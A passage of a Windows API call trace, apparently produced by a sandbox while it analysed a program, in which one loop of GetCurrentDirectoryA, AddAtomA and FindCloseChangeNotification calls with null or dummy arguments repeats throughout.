(hChangeHandle=0x0) returned 0 [0051.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.882] AddAtomA (lpString=0x0) returned 0x0 [0051.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.882] AddAtomA (lpString=0x0) returned 0x0 [0051.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.882] AddAtomA (lpString=0x0) returned 0x0 [0051.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.882] AddAtomA (lpString=0x0) returned 0x0 [0051.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.882] AddAtomA (lpString=0x0) returned 0x0 [0051.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.882] AddAtomA (lpString=0x0) returned 0x0 [0051.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.882] AddAtomA (lpString=0x0) returned 0x0 [0051.882] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.882] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.882] AddAtomA (lpString=0x0) returned 0x0 [0051.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.883] AddAtomA (lpString=0x0) returned 0x0 [0051.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.883] AddAtomA (lpString=0x0) returned 0x0 [0051.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.883] AddAtomA (lpString=0x0) returned 0x0 [0051.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.883] AddAtomA (lpString=0x0) returned 0x0 [0051.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.883] AddAtomA (lpString=0x0) returned 0x0 [0051.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.883] AddAtomA (lpString=0x0) returned 0x0 [0051.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.883] AddAtomA (lpString=0x0) returned 0x0 [0051.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.883] AddAtomA (lpString=0x0) returned 0x0 [0051.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.883] AddAtomA (lpString=0x0) returned 0x0 [0051.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.883] AddAtomA (lpString=0x0) returned 0x0 [0051.883] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.883] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.883] AddAtomA (lpString=0x0) returned 0x0 [0051.884] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.884] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.884] AddAtomA (lpString=0x0) returned 0x0 [0051.884] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.884] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.884] AddAtomA (lpString=0x0) returned 0x0 [0051.884] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.884] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.884] AddAtomA (lpString=0x0) returned 0x0 [0051.884] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.884] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.884] AddAtomA (lpString=0x0) returned 0x0 [0051.884] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.884] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.884] AddAtomA (lpString=0x0) returned 0x0 [0051.884] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.884] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.884] AddAtomA (lpString=0x0) returned 0x0 [0051.884] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.884] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.884] AddAtomA (lpString=0x0) returned 0x0 [0051.884] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.884] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.884] AddAtomA (lpString=0x0) returned 0x0 [0051.884] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.884] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.884] AddAtomA (lpString=0x0) returned 0x0 [0051.884] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.884] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.884] AddAtomA (lpString=0x0) returned 0x0 [0051.884] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.884] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.884] AddAtomA (lpString=0x0) returned 0x0 [0051.885] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.885] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.885] AddAtomA (lpString=0x0) returned 0x0 [0051.885] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.885] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.885] AddAtomA (lpString=0x0) returned 0x0 [0051.885] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.885] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.885] AddAtomA (lpString=0x0) returned 0x0 [0051.885] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.885] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.885] AddAtomA (lpString=0x0) returned 0x0 [0051.885] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.885] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.885] AddAtomA (lpString=0x0) returned 0x0 [0051.885] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.885] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.885] AddAtomA (lpString=0x0) returned 0x0 [0051.885] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.885] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.885] AddAtomA (lpString=0x0) returned 0x0 [0051.885] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.885] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.885] AddAtomA (lpString=0x0) returned 0x0 [0051.885] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.885] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.885] AddAtomA (lpString=0x0) returned 0x0 [0051.885] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.885] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.885] AddAtomA (lpString=0x0) returned 0x0 [0051.885] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.885] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.885] AddAtomA (lpString=0x0) returned 0x0 [0051.885] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.886] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.886] AddAtomA (lpString=0x0) returned 0x0 [0051.886] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.886] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.886] AddAtomA (lpString=0x0) returned 0x0 [0051.886] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.886] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.886] AddAtomA (lpString=0x0) returned 0x0 [0051.886] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.886] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.886] AddAtomA (lpString=0x0) returned 0x0 [0051.886] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.886] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.886] AddAtomA (lpString=0x0) returned 0x0 [0051.886] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.886] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.886] AddAtomA (lpString=0x0) returned 0x0 [0051.886] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.886] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.886] AddAtomA (lpString=0x0) returned 0x0 [0051.886] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.886] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.886] AddAtomA (lpString=0x0) returned 0x0 [0051.886] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.886] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.886] AddAtomA (lpString=0x0) returned 0x0 [0051.886] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.886] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.886] AddAtomA (lpString=0x0) returned 0x0 [0051.886] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.886] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.886] AddAtomA (lpString=0x0) returned 0x0 [0051.887] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.887] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.887] AddAtomA (lpString=0x0) returned 0x0 [0051.887] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.887] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.887] AddAtomA (lpString=0x0) returned 0x0 [0051.887] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.887] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.887] AddAtomA (lpString=0x0) returned 0x0 [0051.887] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.887] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.887] AddAtomA (lpString=0x0) returned 0x0 [0051.887] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.887] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.887] AddAtomA (lpString=0x0) returned 0x0 [0051.887] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.887] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.887] AddAtomA (lpString=0x0) returned 0x0 [0051.887] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.887] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.887] AddAtomA (lpString=0x0) returned 0x0 [0051.887] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.887] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.887] AddAtomA (lpString=0x0) returned 0x0 [0051.887] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.887] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.887] AddAtomA (lpString=0x0) returned 0x0 [0051.887] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.887] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.887] AddAtomA (lpString=0x0) returned 0x0 [0051.887] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.887] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.887] AddAtomA (lpString=0x0) returned 0x0 [0051.887] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.887] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.888] AddAtomA (lpString=0x0) returned 0x0 [0051.888] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.888] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.888] AddAtomA (lpString=0x0) returned 0x0 [0051.888] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.888] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.888] AddAtomA (lpString=0x0) returned 0x0 [0051.888] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.888] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.888] AddAtomA (lpString=0x0) returned 0x0 [0051.888] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.888] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.888] AddAtomA (lpString=0x0) returned 0x0 [0051.888] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.888] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.888] AddAtomA (lpString=0x0) returned 0x0 [0051.888] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.888] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.888] AddAtomA (lpString=0x0) returned 0x0 [0051.888] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.888] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.888] AddAtomA (lpString=0x0) returned 0x0 [0051.888] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.888] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.888] AddAtomA (lpString=0x0) returned 0x0 [0051.888] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.888] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.888] AddAtomA (lpString=0x0) returned 0x0 [0051.888] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.888] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.888] AddAtomA (lpString=0x0) returned 0x0 [0051.888] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.888] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.888] AddAtomA (lpString=0x0) returned 0x0 [0051.889] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.889] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.889] AddAtomA (lpString=0x0) returned 0x0 [0051.889] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.889] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.889] AddAtomA (lpString=0x0) returned 0x0 [0051.889] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.889] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.889] AddAtomA (lpString=0x0) returned 0x0 [0051.889] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.889] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.889] AddAtomA (lpString=0x0) returned 0x0 [0051.889] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.889] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.889] AddAtomA (lpString=0x0) returned 0x0 [0051.889] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.889] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.889] AddAtomA (lpString=0x0) returned 0x0 [0051.889] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.889] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.889] AddAtomA (lpString=0x0) returned 0x0 [0051.889] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.889] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.889] AddAtomA (lpString=0x0) returned 0x0 [0051.889] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.889] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.889] AddAtomA (lpString=0x0) returned 0x0 [0051.889] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.889] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.889] AddAtomA (lpString=0x0) returned 0x0 [0051.889] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.889] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.889] AddAtomA (lpString=0x0) returned 0x0 [0051.890] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.890] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.890] AddAtomA (lpString=0x0) returned 0x0 [0051.890] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.890] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.890] AddAtomA (lpString=0x0) returned 0x0 [0051.890] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.890] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.890] AddAtomA (lpString=0x0) returned 0x0 [0051.890] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.890] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.890] AddAtomA (lpString=0x0) returned 0x0 [0051.890] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.890] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.890] AddAtomA (lpString=0x0) returned 0x0 [0051.890] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.890] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.890] AddAtomA (lpString=0x0) returned 0x0 [0051.890] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.890] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.890] AddAtomA (lpString=0x0) returned 0x0 [0051.890] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.890] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.890] AddAtomA (lpString=0x0) returned 0x0 [0051.890] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.890] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.890] AddAtomA (lpString=0x0) returned 0x0 [0051.890] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.890] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.890] AddAtomA (lpString=0x0) returned 0x0 [0051.890] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.890] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.890] AddAtomA (lpString=0x0) returned 0x0 [0051.890] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.891] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.891] AddAtomA (lpString=0x0) returned 0x0 [0051.891] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.891] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.891] AddAtomA (lpString=0x0) returned 0x0 [0051.891] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.891] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.891] AddAtomA (lpString=0x0) returned 0x0 [0051.891] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.891] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.891] AddAtomA (lpString=0x0) returned 0x0 [0051.891] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.891] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.891] AddAtomA (lpString=0x0) returned 0x0 [0051.891] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.891] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.891] AddAtomA (lpString=0x0) returned 0x0 [0051.891] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.891] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.891] AddAtomA (lpString=0x0) returned 0x0 [0051.891] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.891] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.891] AddAtomA (lpString=0x0) returned 0x0 [0051.891] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.891] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.891] AddAtomA (lpString=0x0) returned 0x0 [0051.891] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.891] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.891] AddAtomA (lpString=0x0) returned 0x0 [0051.891] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.891] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.891] AddAtomA (lpString=0x0) returned 0x0 [0051.891] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.891] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.892] AddAtomA (lpString=0x0) returned 0x0 [0051.892] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.892] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.892] AddAtomA (lpString=0x0) returned 0x0 [0051.892] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.892] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.892] AddAtomA (lpString=0x0) returned 0x0 [0051.892] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0051.892] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0051.892] AddAtomA (lpString=0x0) returned 0x0 [0051.892] 